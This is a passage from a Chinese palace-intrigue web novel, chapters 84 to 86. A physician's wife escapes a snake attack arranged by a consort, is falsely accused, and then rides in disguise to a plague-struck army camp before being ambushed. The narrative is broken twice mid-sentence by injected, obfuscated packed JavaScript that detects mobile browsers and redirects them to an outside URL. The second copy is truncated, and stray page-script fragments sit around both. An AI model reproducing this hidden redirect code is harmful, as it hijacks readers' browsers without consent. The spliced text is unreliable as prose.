最近她除了青霜露,开始做一些别的药,负责采买的管事曾经告诉她,有几味药近些时日一直缺货,不仅京城的各大生药铺没有,黑市、外地也遍寻不得。因管事已屯了一批货,暂时不会影响到她制药,她也没怎么在意,只说用完了再说。 除此之外,京城里好些医术高明的大夫,包括她的师父和师叔都被征调去了西南,她本以为这一切都是西南时疫严重的缘故,但如果不是呢?如果这一切都是陛下的谋划,目的便是借此杀了李济呢? 她的心沉沉地往下坠,却坠不到底。若她猜想为真,皇帝只怕是已经得了手了!李济就算还未死,恐怕此刻也已经染了病。 李济…… 她怔怔地想,泪光不自觉地浮上了眼。 “妹妹闲着无事,不如陪我去御花园走走。”午歇过后,杨绾柔出现在门口,皮笑肉不笑对她道。 陈灵珠眨了眨眼,将眼泪眨去,拒绝道:“贤妃娘娘恕罪,臣妇身体有些疲惫,无法陪娘娘去御花园。” 杨绾柔哪管她肯不肯,朝翠玉使了个眼色,几个宫女便朝陈灵珠围了过来,架着她就走。 陈灵珠奋力挣扎,却哪里挣脱得开? 紫苏急了,急忙上前阻拦,“少夫人!” 但她人单力薄,哪里是众多宫女的对手?追了两步,早被柔仪殿的几个宫女按住了。 陈灵珠便被这么架着一路往御花园而来。到了御花园,杨绾柔也不让人放开她,一直在御花园里打转,直到来到御花园深处,眼看四处无人,彩玉朝她点了点头,才朝架着陈灵珠的几个宫女使了个眼色。 杨绾柔今日的行为实在反常,陈灵珠甩开手道:“贤妃娘娘到底想干什么?” 杨绾柔哼了一声,冷笑道:“世子夫人真是好大的架子,连本宫这贤妃也不放在眼里。怎么,本宫不过是让你陪着本宫赏赏花,这都不肯?” 说着便往前去,一边走一边道:“你既不愿,本宫也不勉强你,本宫自己赏花便罢了。” 拉开一段距离后,她回头,勾起嘴角露出一个得意的笑。 陈灵珠看她那笑容诡异,虽猜不透她要做什么,但料她也没有好心肠,便道:“臣妇告退。” 说着便要迈步离去,却听到身后的宫婢发出一连串尖叫。 她急忙转身,看到她们的前面不远,蜿蜒着一条黑褐色带横纹,长约一丈的蛇,那蛇颈部扁平,头呈三角状,正嘶嘶地吐着蛇信子。 看到这蛇,再联想到杨绾柔方才的种种反常,陈灵珠什么都明白了。 几个宫女尖叫着往后退,陈灵珠也连忙后退,却猝不及防,被翠玉猛然往前推了一把。 翠玉冷笑着道:“世子夫人,帮娘娘挡一挡这蛇罢!” 陈灵珠被推到在地,爬起来时,其他人早已退到了后面,而她的面前一步之遥,就是那把身体竖了起来,露出毒牙,随时会发动攻击的毒蛇。 她什么也来不及想,极快地将手伸到随身佩戴的香囊里,抓起那雄黄粉、茱萸粉、胡椒粉、薄荷粉,一股脑地撒了过去! 这个香囊是她端午节时自己做了用来驱邪的,为以防万一,刚才出府时她顺手带上了,果然派上了用场。 也不知哪样粉末起了作用,毒蛇往回缩了缩,陈灵珠趁机就地一滚,同时眼明手快地抓了一根还没来得及被打扫御花园的小太监拾捡起来的树枝。 那树枝十余尺长,不甚粗大,但毕竟聊胜于无。 毒蛇似被激怒,直起身体,陈灵珠抓了树枝还来不及站起身,它已一跃而起,朝她飞扑了过来! 陈灵珠心都停跳了一瞬,好在心里虽然慌乱,却没被吓得呆住,眼看那毒蛇飞了过来,她即刻举起树枝一挥,想把毒蛇挥开。 但她的准头差了些,树枝没挥开毒蛇,那毒蛇却恰好攀住树枝中间,随即缠绕而上。 她连忙往下一甩,想将毒蛇甩开,但那毒蛇缠得紧,她又还半跪着,不能使出全力,不仅没能让它脱离树枝,反而让它把蛇头高高昂起,时不时往前探着,寻找机会发动攻击。 她又怕又觉得恶心,跳起来用尽全力一甩,这一次,那毒蛇随着她挥树枝的动作飞了出去。 杨绾柔一直往前走,走了十数丈才停了下来。 本来为保万无一失,她应该继续往前走,但她实在想看陈灵珠的惨状,估摸着差不多了,便停了下来。 那蛇果然追着陈灵珠不放,看到陈灵珠被毒蛇追着咬的狼狈模样,她掩着嘴吃吃地笑。 杨绾柔半蹲在地,她的视线被一丛灌木所阻,不知不觉又往前走了几步。她本来还有点怕,担心如意失手,不过如今看来,那毒蛇真的再听话不过了。 等陈灵珠被毒蛇咬了,她只作惊慌失措失了分寸,之后再让人慢慢去找御医,等御医赶到,一切已成定局。 她愉悦地转身,想着还是走远一些才能拖延更多时间。 哪知就在她转身的一瞬间,“啪嗒”一声,不知何物掉到了她脚边。 那东西冰冰凉凉,顺着她的脚脖子盘绕而上,她顿觉毛骨悚然,胆战心惊地低头一看,果然。 刺痛传来,杨绾柔发出了惊天动地的尖叫,之后双眼翻白,晕倒在地。 咬伤了杨绾柔之后,毒蛇扭着身躯,蜿蜒滑进了树丛之中。 听得杨绾柔恐惧的尖叫声,又见杨绾柔倒地,彩玉吓得魂飞魄散,急忙问跟在她旁边的如意要解药,可是如意今日的任务是杀人,哪里备有解药?见如意脸色死灰,彩玉恨得剁了一下脚,朝身边一个得力的手下使了个眼色让她收拾如意,忙飞奔到杨绾柔身边,喊:“快传御医,娘娘被毒蛇咬伤了!” 杨绾柔被火速抬回柔仪殿,御医很快被传了过来,皇帝、皇后听说此事后也先后赶到,顾不上问罪,先去看杨绾柔。 只见杨绾柔嘴角流涎,双眼露白,眼看性命就要不保。 几个御医低声商议,却犹豫不决。 皇帝斥道:“还愣着干什么?还不快救贤妃和皇子!” 皇后也不悦道:“事情紧迫,你们不赶紧救贤妃,吞吞吐吐却是为何?” 几个御医连忙跪下,领头的王御医颤巍巍道:“陛下,皇后娘娘,非微臣等拖延,只是微臣等手中的药虽可救贤妃娘娘,对娘娘腹中的皇子有何影响,却是难以预料。” 皇帝脸色大变,“你说什么?” 王御医道:“陛下,有孕之妇人用药,本就应当慎之又慎,这解药喂下去,贤妃娘娘体内之毒应当能解,但对娘娘腹内的龙嗣有何妨碍却是未知之数,所以微臣等请陛下、皇后娘娘示下,该如何是好啊?” 皇帝闻言,顿时如遭雷劈。 皇后还算镇定,问:“这药用下去,胎儿会如何?” 王御医道:“微臣不敢断言,或许就此流产,也或许娘娘腹内的皇子福大命大,能安然渡过此劫。” 皇后看向皇帝,“陛下,拖不得了,不用药,贤妃和胎儿都保不住,用了药,还有一线生机。” 皇帝咬了咬牙道:“用药罢。” 太医诺诺称是,将药给了宫女,让宫女喂杨绾柔吃下去。 彩玉见杨绾柔服了药,呼吸渐渐平稳,这才轻轻喘出一口气。可是对她来说,杨绾柔虽活过来了,危机却远远未解除,因为御医刚才说了,娘娘虽能活下来,胎儿却不一定。而娘娘和胎儿会变成眼下这样,全是因为那条蛇。出了差错的虽然是那条蛇和如意,可这个主意是她提的,如意更是她安排的。 要是胎儿保住了还好说,若是保不住,她能不能留个全尸都难说。 如意她已经处理了,刚才那个将蛇扔到贤妃身上的宫女也是必须死的,可是仅仅死这么三两个人,又怎么可能让主子消气? 无论如何,她得找个替死鬼,一个可能让主子放过她的替死鬼。 她心念急转,对了!陈灵珠!只有陈灵珠才能让主子解气,只有陈灵珠才够分量担这个天大的罪名。 若是能把罪名扣到陈灵珠头上,胎儿又保住了,主子醒来之后,说不定能看在她将功补过的份上,饶她一命。 打定主意,她暗暗推了推翠玉,朝着陈灵珠的方向使了个眼色。 翠玉与彩玉从小一同服侍杨绾柔,见她使眼色,当即会意:诬陷陈灵珠是欺君之罪,陛下知道了不可能放过她们,但打一开始,她们就已经罪犯欺君了。陈灵珠有罪,她们或许还能活;陈灵珠无罪,无论是贤妃还是陛下,都不可能饶了她们。 暗中商量已定,彩玉当即含着眼泪,扑通一声跪到皇帝面前,“陛下,请陛下为贤妃娘娘做主!” 皇帝本就因为杨绾柔中毒而满腔怒火,正要寻人问罪,见彩玉跳了出来,怒斥道:“无用的蠢材!护主不力,还敢喊冤!来人!将这些蠢材都打杀了,给贤妃和皇子出气!” 彩玉吓得几乎魂不附体,连连磕头哭道:“陛下,陛下饶命!不是奴婢等护主不力,是世子夫人,世子夫人她是个大夫,她不怕蛇,她故意用树枝挑着蛇,将蛇扔到了贤妃娘娘身上!陛下,是世子夫人害了贤妃娘娘,是她害了娘娘腹中的皇子啊!” 跪着的几个宫女本在瑟瑟发抖,闻言惊讶地抬头看了彩玉一眼。 她们不是贤妃娘娘的心腹,贤妃娘娘并没有告诉她们这些下人什么,她们不知道贤妃娘娘为何一定要将镇国公世子夫人留在宫中,更不知道贤妃娘娘为何要将世子夫人拉去御花园,但从今日种种情形推断,贤妃娘娘的目的已经昭然若揭。 她们既然被分配到柔仪殿,就是贤妃的人,奴婢与主子本就应当一体,何况不往世子夫人身上推,她们哪里还有活路?其中一个宫女反应最快,当即磕头应和彩玉道:“世子夫人害了贤妃娘娘,请陛下为贤妃娘娘做主!” 死亡太 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她们既然要害她,自然不会害了一半就收手,何况如今杨绾柔昏迷不醒,胎儿还可能不保,就是为了自己的性命,这些宫女也只能将责任推到她身上。 众口一词,皇帝看向陈灵珠,沉声问:“陈氏,此事可当真?” 陈灵珠上前两步跪下道:“陛下,此事不真。贤妃娘娘硬将臣妇拉去御花园,但臣妇无心赏花,便向娘娘告退。准备离开时,一条蛇出现在臣妇面前紧追着臣妇不放,臣妇心慌之下确是找了一根树枝将蛇甩了出去,但臣妇并未将蛇甩到贤妃娘娘身上。臣妇记得,那蛇先是挂到了一个宫女的脖子上,宫女受惊,又将蛇甩了出去,这才到了娘娘的脚边。臣妇所言句句属实,请陛下明鉴。” 原来被陈灵珠甩出去的毒蛇飞到了一个宫女的肩膀上和脖子上,那宫女乱叫乱跳,抓起毒蛇就往外扔,那毒蛇又到了另外一个宫女身上,最后也不知是谁扔的,不偏不倚,恰好就扔到了杨绾柔的脚边。 皇帝虽然不知具体情形,但此事,确实很难归咎到陈灵珠身上。一来陈灵珠只是一个娇滴滴的弱女子,虽是懂点医术,却并非百毒不侵,怎么会拿起蛇去攻击人?二来,陈灵珠今日才进的宫,事先也不可能知道会遇到蛇,怎么可能特意拿来害杨绾柔呢。 便问:“你扔到了哪个宫女身上?” 听到皇帝问出这一句,那些碰过蛇的宫女都抖如筛糠,因为连她们自己也无法确定将蛇扔到贤妃身上的人是不是自己。 当时一片混乱,陈灵珠又惊魂未定,并不能准确说出她将蛇扔到了谁身上,又到底是谁将蛇扔到了杨绾柔脚边。 但她道:“陛下,蛇爬过之处,必留痕迹。昨日京城下了小雨,地面湿润泥泞,蛇身想必也沾染了泥土,陛下命人查验几个宫女身上的衣裳便可知晓臣妇没有说谎。” 几个宫女面如死灰,其实到了这一步,无论是不是她们将蛇扔到贤妃身上,她们都活不了了。有两个宫女甚至觉得裸露在外被蛇碰过的肌肤也开始发痒发疼,她们想去抓,又不敢动手,只能死死忍着。 皇帝令人去查看几个宫婢身上的衣裳,果然如陈灵珠所言,在几个宫婢的肩膀、脖颈处发现了痕迹。皇帝勃然大怒,这些宫婢不但护主不力,还敢愚弄他!当即吩咐人将这几个宫女剁成肉酱拿去喂狗,殿内顿时痛哭声、哀嚎声、求饶声一片。 这些人刚才合伙诬陷她,实在可恨,不过,这其中的大部分,也不过是想保住自己的小命罢了。何况今日之事必定与杨绾柔有关,若是这些宫女担了罪名,杨绾柔却成了受害人,未免本末倒置,便宜了杨绾柔。 她道:“陛下,臣妇以为,这些宫女并非罪魁祸首。臣妇记得,那毒蛇出现时,臣妇曾听到一阵似笛非笛,似箫非箫的乐声,那毒蛇随着乐声而动,实在诡异。请陛下查清事由,找出真凶,以免有人暗中作怪,伤了陛下和众位娘娘。” 针对她的阴谋皇帝未必会下令彻查,但若是关系到皇帝自己的安全,那就不一样了。 彩玉、翠玉听到这话,牙齿咯咯打颤,要是查下去,不但她们,只怕贤妃也脱不了身。 本来要是陈灵珠中毒,查到也不甚要紧,可是如今情形完全不同了。 皇帝和皇后听到蛇可受控制,都颇为震惊。本以为这就是一场意外,没想到竟是个阴谋。毒蛇可攻击杨绾柔和陈灵珠,便也可攻击他们,此事不能轻轻揭过。 皇后道:“竟有这事!哪个大胆的贼子,敢在宫中行诡异之术害人!” 说着便吩咐严查下去,另将那些宫婢关押起来,待查清事实以后再行问罪。 宫婢们哭着被押下去了。 陈灵珠冷冷地看着杨绾柔,这个人心如蛇蝎,可惜搬起石头砸自己的脚,想杀她,自己反倒变成了这副模样。 只是她想不明白,从前杨绾柔挑拨她与陈灵瑛,是为了从陈灵瑛那儿得到好处,如今迫不及待地想杀了她,又为的是哪般?是恨她入骨,还是因为别的缘由? 她想起皇帝对她的轻佻态度,打了个寒噤。难道,这是其中一个原因? 她转开脸,杨绾柔如何想已经不重要了,如今她有更重要、更紧迫的事情要做。 皇帝因为杨绾柔中毒,万般旖旎心思也都暂时歇了,见陈灵珠执意要出宫,也不再强留,挥挥手让她退下了。 陈灵珠向帝后福了福身,带着紫苏快步离开。 85. 第 85 章 主仆二人上了马车,陈灵珠吩咐车夫快回镇国公府。 紫苏一边给她擦去面上和身上的泥土,一边默默流泪。 她神色木然地让紫苏擦着,心中却焦急万分。 如果缺医少药确是皇帝的阴谋,那么此时,李济或许已经染上了时疫。听说西南这时疫十分凶险,一旦染上,数日之内即如恶鬼扼咙而死。 她的心口处一阵钝钝麻麻,不自觉地伸出了手按住。李济,也要这样痛苦地死去吗? 他该何等不甘心、不放心啊。 李济无论于国还是于家,都是当之无愧的有功之臣、顶梁之柱。这样的人,不应当死在这样的阴谋诡计当中。 无论如何,她都应当尽快将这个可能的阴谋尽快告诉李济。 她吩咐车夫再加快,心里快速盘算。 京城离幽州千里之遥,若用飞鸽传书,想来一至二日,消息便能抵达。但只知道那是西南的瘟疫不够,如今军营中最需要的,是合用的医药。 西南的时疫应该用什么药方,陈灵珠暂时不知,但是,她知道如今市面上缺什么药。皇帝为了掩人耳目,或许会控制多味药以混淆视听,但只要细细辨别,未必不能窥破真相。她有强烈的感觉,那日管事跟她说的遍寻不得的草药,便是治疗瘟疫所需的关键药草。 幸运的是,她手中恰好有一些。虽然不多,但救几十个人总不成问题。 想到这里,她稍稍心定。又想,李济到底年轻,又是大将军,就算染疫,也会有最好的大夫最好的草药,未必不能逃过一劫,只可怜了那些普通的士兵,他们离开父母妻儿,枕戈待旦,时常食不果腹,为朝廷、为百姓、为这个御座上的皇帝浴血奋战,好不容易留得一命,本以为回朝后会受到朝廷的嘉奖,不说衣锦还乡,至少拿几两碎银回乡去养妻活儿,却在满怀憧憬时被疫病趁虚而入,无辜地死在这个令人齿冷的阴谋诡计之中。 还有西南的百姓,他们怎么也不会想到,让他们死去的,除了突如其来的天灾,还有精心酿制的人祸。 她咬紧了牙关,她非偏帮李济,然而这样不择手段、视自己的子民为蝼蚁的人,不配为君! 她又想到方才皇帝与杨绾柔逼着她饮酒作乐,好似她是他的嫔妃一般,不由起了一身密密麻麻的疙瘩。 若李济死了,镇国公府覆灭了,他们会拿她如何?会放过她,让她安生过自己的日子吗?不可能。 杨绾柔不会放过她,皇帝也不会。 他们或许会杀了她,或许会留她一命,却百般折磨她。 若将她弄进宫去,那就更加生不如死了。 在宫城这样的牢笼,做一只金丝雀,待在荒淫无道的皇帝身边,与数不清的女人,包括杨绾柔这样的女人一起争宠的同时,还要防着对方害命。 因为她曾经的镇国公世子夫人的身份,也许还要改名换姓,或者,干脆成为见不得人的禁脔。 她毋宁死,也不愿如此。 所以,哪怕李济是真的在骗她,她也必须救下李济。 救他,便是救自己。 马车一路疾驰,陈灵珠回到镇国公府,去了正院后让国公夫人屏退下人,将宫里发生的事情和自己的推测告诉了二人。 镇国公夫人大吃一惊,“此事当真?” 镇国公则看着她没说话,似在判断她说的话是真是假。 陈灵珠并不指望镇国公立刻相信她,因为镇国公府没有收到任何李济染病的消息,她也没有任何证据证明此事为真,这只是她的一个推测。 她道:“父亲,母亲,无论此事是否一定为真,都请尽快将这个消息告诉世子,以防万一。至于治疗疫病的药方,从市面所缺的药材推断,儿媳心中已经有数。 她拿起笔,刷刷几下将药方写出来,递给国公夫人道:“父亲和母亲可再去调查,确定我说的是否属实。只是,请父亲和母亲要快!世子只怕等不了多久了。” “另外,因此前配药之故,我手中留有一批方才所提及的药材,父亲和母亲若信得过我,我会让人送过来,父亲和母亲尽可让人查验过后,再派人将这些药草送去军营。” 她屯的药草虽然不多,万一时疫蔓延开来恐怕也是杯水车薪,但有总比没有好。只要李济无事,皇帝就会放弃控制药草,其他的将士和西南的百姓或许也就能得救了。 国公夫人听到陈灵珠说她手中有药草,大喜过望。 镇国公仍是半信半疑,然而此事宁可信其有,他叫来了人,将事情吩咐下去。 消息分了两路:一路飞鸽传书,一路派人快马传递。 药草方面,镇国公一面派人去调查,查实之后去搜寻更多的药草,同时也派人去取了陈灵珠所说的药材,让查验无毒后,借用傅映瑶的镖局,将药草分而化之地运送出城,避过重重关卡,以快马送到军营。 至于大夫,军营里虽也有,但遇上瘟疫就不太够用了,他也安排了人去寻访。 见镇国公把事情都安排好,陈灵珠略略松了口气。犹豫了一番,她道:“父亲,母亲,儿媳实在放心不下,儿媳想去军营,请父亲母亲允许!” 闻言,镇国公和国公夫人都是一怔。 领兵出征在外的将领家眷私自离京,可以视为叛变,是抄家灭族的重罪。 陈灵珠看了看二人的脸色,跪下道:“父亲、母亲,请听我一言。” “我知道父亲和母亲担心我离开京城是与陛下合谋,好扣夫君一个家眷私自离京的罪名。但父亲、母亲且想,我既已是世子之妻,萧煜要将镇国公府问罪之时,我又如何脱身?” “若父亲、母亲以为我是牺牲自己来帮萧煜,那你们就错了。萧煜虽是我的表兄,但他无德无能,在我心里,他根本不配为君!我与他一无感情,二无把柄、软肋在他手,怎会为了他牺牲自己?” 见镇国公和国公夫人面色微微转变,她继续道:“我想去军营,一是为了世子,二是为了自己,三是为了其他无辜染疫的人。父亲也许不知,但我毕生所愿,便是做个救死扶伤的大夫。我无法坐困京城,眼睁睁看着那些本不应该死的人丢了性命!我虽学艺未精,但也想到军营,去做一个大夫该做之事!请父亲和母亲成全!” 说着,她深深伏了下去。 镇国公久久未出声,国公夫人看了看丈夫,又看了看陈灵珠,颔首道:“你既想去,那便去罢!” 陈灵珠抬头,惊喜地看着国公夫人。国公夫人并非普通的后宅妇人,若能得她支持,自己去军营的可能便大大增加。 镇国公看向国公夫人:“夫人?” 国公夫人看着丈夫,口气里带着不容否定的坚持:“妾身与灵珠相处已久,知她是个什么样的人,妾身信她。” “妾身相信,若济儿当真染了疫病,他最需要的,也是灵珠。” 陈灵珠是个大夫,又是李济喜欢的人,有她在他身边,再妥当不过。 国公夫妇对视良久,最终,镇国公先败下阵来。 “罢,让她去罢。” 国公夫人微微颔首道:“老爷,灵珠不会让我们失望。” 陈灵珠亦道:“谢父亲母亲成全,儿媳定会竭尽全力,不会让父亲和母亲失望。” 国公夫人转向陈灵珠,问她:“灵珠,你既要去军营,想必心里已有成算,将你的计划说来。” 陈灵珠道:“母亲,儿媳今日受了毒蛇惊吓,就此抱病不出数月,应也理所当然。且宫中出了今日之事,至少一两月之内,应也不会再召儿媳进宫。若实在需要儿媳露面,儿媳也已想好应对之策——我的婢女紫苏、茯苓二人,曾与我同习易容、口技之术,且她们二人从小与我一起长大,对我极为熟悉,装扮成我应对一二,应当不成问题。” 说紫苏、茯苓二人能应对一二,其实还是保守的说法。实际上,她曾和紫苏、茯苓二人互相易容成对方,连陈夫人杜氏也没认出来。当时她还对杜氏心存幻想,见她认不出自己这个亲生女儿,当即便赌气走了。她也没想到,那时候的赌气对后来还有影响——因为她没有揭破此事,到目前为止,除了紫苏和茯苓、奶娘三人,没有人知道她们的易容术学得极好。就是陈灵瑛和杨绾柔这两个总是盯着她的人,也以为她只是学了个皮毛。 国公夫人微微张着嘴,不是因为陈灵珠方方面面都考虑到了,这姑娘向来聪慧,考虑得周全并不奇怪,她是没有想到,陈灵珠连易容、口技都会。她实在想不出来,这姑娘到底是如何长大的? 陈灵珠见她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16983081|190011||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 久久不语,以为她不相信自己,忙道:“儿媳去去就来,母亲、父亲稍待。” 说完,急急忙忙出去了。 过了约莫一炷香的时间,陈灵珠领着她的丫鬟茯苓和一个年约弱冠的清秀少年走进了正院。三人都朝镇国公夫妇行礼,少年道:“见过国公爷和夫人。” 国公夫妇正要问这少年是谁,就听得陈灵珠的声音道:“父亲、母亲,儿媳这个模样,可还使得?” 二人一愣,急忙转头看向旁边的“陈灵珠”。 “陈灵珠”福了福身道:“国公爷,夫人,婢子是茯苓。” “茯苓”则道:“婢子是紫苏。” 镇国公夫妇目瞪口呆,一时分不清谁是谁。定了定神,确定那少年乃是陈灵珠,这才仔细看她。也不知她是怎么做到的,脸上五官已全然不是原来的样子,腰、肩两处也比之前宽大,总之如此乔装下来,竟完全看不出女子模样,无论怎么看,都是个陌生的少年郎。再看扮成陈灵珠的茯苓,无论是样貌还是举止,说话的语气,甚至连走路的步态,都与陈灵珠本人一模一样。 国公夫人赞叹不止,连连道:“真的没有想到,你们还有这番本事!” 陈灵珠笑了笑:“如今父亲和母亲可放心了?” 国公夫人点头道:“不错,能如此以假乱真,我实在没什么可担心的。” 最后,她问她:“灵珠,你可知道,你这一去,会遇到什么危险?你可想好了?” 陈灵珠坚定道:“知道。母亲,儿媳都知道,也想得很清楚。” 她此去,注定了危险重重。 一是路上的安全。 边关打仗,路上必然多流民,饿极了的流民什么事情都可能做得出来。除了流民,皇帝也可能派人截杀路上可能传递消息、传递医药的人。镇国公说他会安排十六个护卫以镖师的名义护送她到幽州,那十六个护卫个个武功高强,非等闲可比,但即便如此,她在路上仍然可能遇到危险。 二是瘟疫。 如今幽州军营情况到底如何,她一无所知。对症的药方到底是不是她猜测的那样,她也不能确定。若果然瘟疫蔓延,以如今缺医少药的情况,她未必能活着回来。 但无论如何,幽州,她是一定要去的。 镇国公夫妇去准备路引和护卫的功夫,陈灵珠转身回梅林上筑收拾行装。 按她的计划,两个丫鬟和奶娘都需要留在京中替她掩护,她是不准备带她们任何一人的。但紫苏那小丫头自听说不带她去之后就泪如雨奔,也不说话,只流着眼泪默默给陈灵珠收拾行装,然后跟在陈灵珠身后不停地流泪。 陈灵珠被她哭怕了,叹口气,给她擦去眼泪道:“好紫苏姐姐,此去危险,我这么做也是为了你好,怎么还哭上了?” 紫苏的眼泪根本擦不完,帕子没一会儿就湿透了,她自己接过来按着眼睛,抽抽噎噎道:“少夫人,你就让婢子跟着去罢!婢子保证不会连累少夫人的!京城有茯苓和姜嬷嬷应也够了!” 陈灵珠道:“你和奶娘、茯苓留在京城不好吗,何苦一定要跟着我去受累?” 紫苏哽咽道:“少夫人去哪儿婢子就去哪儿,少夫人去军营也好,上刀山也好,婢子不怕苦也不怕累,只求少夫人不要赶走婢子。” 她与少夫人、茯苓三人从小一起玩乐,一起反抗,一起受罚,名为主仆,其实比有些人家的姐妹感情还好,她做不到自己舒舒服服待在京城,让少夫人一个人去军营。 姜嬷嬷年老,茯苓骑术不佳,但她从小性子野,骑术却是不错的,虽然比不上经过世子指点的少夫人,但绝不至于拖后腿。 陈灵珠无奈地叹了口气,紫苏大概是上次被飞奔的马车和杨绾柔的毒蛇吓怕了。 思虑一番,她到底还是点了头。罢,就说紫苏回乡探亲了罢。 紫苏破涕为笑,冲去收拾了自己的行装并易容成一个样貌普通的小厮,回来笑嘻嘻道:“公子,小的准备好了。” 陈灵珠无奈地摇了摇头。 不提奶娘有多少殷切嘱咐,茯苓有多少担忧顾虑,化成清秀少年郎的陈灵珠带着紫苏顺利出了镇国公府,再与镇国公安排好的护卫会合。 之后出了城门,一路催马急行。 86. 第 86 章 陈灵珠一是担心路上的安全,二是担心李济和军营疫病的情况,所以一路除非实在支撑不住,几乎都在马背上,艰苦之程度,堪比军队的急行军。 她到底不是军队里跌滚摸爬、身经百战的将士,所以两日下来,腿也磨破了,腰也累得直不起来,脸也小了一圈。 紫苏同样如此,但她怕少夫人开口让她回去,始终咬着牙一声不吭。 镇国公安排的十六个护卫只听从吩咐护卫陈灵珠,并不知面前这少年就是世子夫人,见这看上去细皮嫩肉,应是平日养尊处优的少年和他的小厮如此坚韧,半点苦也没叫过,倒也暗暗称奇。 这一日,一行人到了一条小河旁休整。 陈灵珠下了马,走到河边,洗了洗手,却不敢洗脸。 她那易容虽没那么容易洗去,但小心为上,万一露出破绽被人看出来,始终不好。 紫苏将帕子在河里浸湿了,拧得半干,递过去给她。 “公子,敷一敷眼。” 陈灵珠接过,敷在眼睛上,喟叹了一声。 这两日他们日夜赶路,这已是难得的舒适。 皇帝或许一时想不到她能勘破他设的局,但一定会千方百计拦截镇国公府与李济的往来。这条路上所有可疑的人,都有可能被皇帝截杀。她们现在要做的就是尽快到达军营,只有到了军营,她们才能安全。 她拿掉帕子,见紫苏还忙着,忙拉着她坐下,道:“快休息罢,你都快撑不住了。” 紫苏灰头土脸,嘴唇干裂,双手因久握缰绳,已是磨损出血。 她坐下,嘟囔道:“公子还不是一样。” 她的手甚至比她还严重。 陈灵珠从包袱里拿出干粮,递了一半给紫苏,叫她快吃。 那干粮又干又硬,太难下咽,紫苏吃得直伸脖子,陈灵珠看着有些心酸,给自己和紫苏画个美味的饼道:“等我们到了,得了空,我带你去把军营附近好吃的东西都吃一遍。” 这两日太辛苦了,有个美味的胡萝卜在前,似乎能让人好受一些。这话是安慰紫苏,也是安慰自己。 在这一方面,主仆二人真的是志趣相投,紫苏听了果然双眼放光,舔了舔嘴唇笑道:“公子,我想吃有汤水的东西。” 陈灵珠笑道:“好,都依你。我听说燕云十六州有种面茶,到时候我们去试一试。” 紫苏咬了一口干粮,就着口水咽了下去,含糊道:“公子,以后我老了,想起来这一段,肯定觉得自己很厉害!” 陈灵珠点头笑道:“我们紫苏姐姐本来就很厉害。” 两人一起吃掉了一张饼,拿起水囊还没来得及再喝口水,负责望风的护卫已急道:“不对劲!公子快走!” 主仆二人疾奔到马旁,快速爬上马,一扯缰绳,喝道:“驾!” 狂奔了一阵,还没将后面那队人马彻底摆脱,左右斜侧又出现了两队人马,朝着他们包抄了过来。 两队人马见到他们,一句话也没说,直接从箭囊中抽出箭,嗖嗖就射向被围在中间的几人。 陈灵珠心里发沉,来者不善,想要脱身只怕不易。 护卫们将弓箭扫落,低喝道:“公子先走!” 陈灵珠跟着李济练了一段时间的武功,身手在闺阁女子当中已算得不错,但她心里清楚,在这些真正的高手面前,她那点功夫什么也算不上。 她也无意逞强,对紫苏道:“跟上!” 主仆二人伏低腰身死命地往前冲,然而还没等她们冲出箭阵,前方又来了一队人。 前后左右四队人马将他们团团围住,无处可逃。 陈灵珠用手肘蹭了一下腰间,确认了一下东西的位置。随后,她像一个平日养尊处优的公子哥儿那样战战兢兢,对着对方谄笑道:“各位好汉,小子乃是个游历的读书人,路过宝地,身上虽没几个铜子儿,但既然与各位相逢,那就是有缘,小子愿奉上身上所有的银两,给各位好汉充当脚程费。请各位好汉千万施些善心,饶了我们性命。” 对方人数数倍于几,若是硬碰硬,他们是绝对拼不过对方的。所以明知这些人不会是什么绿林好汉,她还是故意将他们认成劫道的,借此打消他们的疑心。毕竟双拳难敌四手,猛虎难斗群狼,不必要的伤亡能减少就尽量减少。 本朝奉行“读万卷书,不如行万里路”,很多公子哥儿打着游历的名义,带着仆从四处游山玩水,她这么说,倒也还算可信。 对方有几人微微一顿,应是信了她的话。一个年纪较轻的白脸男子看向领头的黑脸小胡子,“二哥?” 陈灵珠紧张地看着那黑脸小胡子,希望他能被她这番话骗过。但那小胡子鹰隼似的目光在他们身上来回打转,半晌,双唇动了动,出口的却是冰冷的几个字:“都杀了。” 这就是没得商量了,说时迟那时快,陈灵珠猛地抽出腰间的药粉,朝着对面一扬手,将药粉撒得漫天皆是。对方没想到陈灵珠还有这一手,当头几人躲闪不及,被兜头扬了一脸。咒骂着抹了抹脸正要冲过来将陈灵珠杀死,却忽然双眼一闭,从马上栽了下来。 撒完了药粉,陈灵珠不敢逞强,忙避到十几个护卫的中间。 小胡子到底比其他人强一些,反应也快,避开了那药粉,看了倒在马下的几人一眼,又看了看陈灵珠,冷笑道:“倒是个硬茬,兄弟们,杀!” 其余人得了吩咐,不再犹豫,举起刀剑便砍。 陈灵珠带的十六个护卫虽然身手了得,但对方有四五十人,双方人数悬殊,且对方个个都是训练有素的练家子,一时有些左支右绌。 不多时,护卫们身上或多或少都挂了彩。 再过一会儿,有两个护卫倒下了。 吾命休矣,陈灵珠想,只可惜了紫苏,本来是可以不必死的,都怪她一时心软,将她带了出来。 她探身握了握紫苏的手,朝她露出一个比哭还难看的笑,紫苏会意,惨笑道:“和公子死在一起,小的不怕。” 陈灵珠的眼睛浮起一层水雾,她这个人有时很倒霉,有时又出奇地幸运。有这样对她的紫苏,她此生也算值了。 可是死,终归是有些遗憾的。她成为医术高明的大夫这个“壮志”还未酬,她还没到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 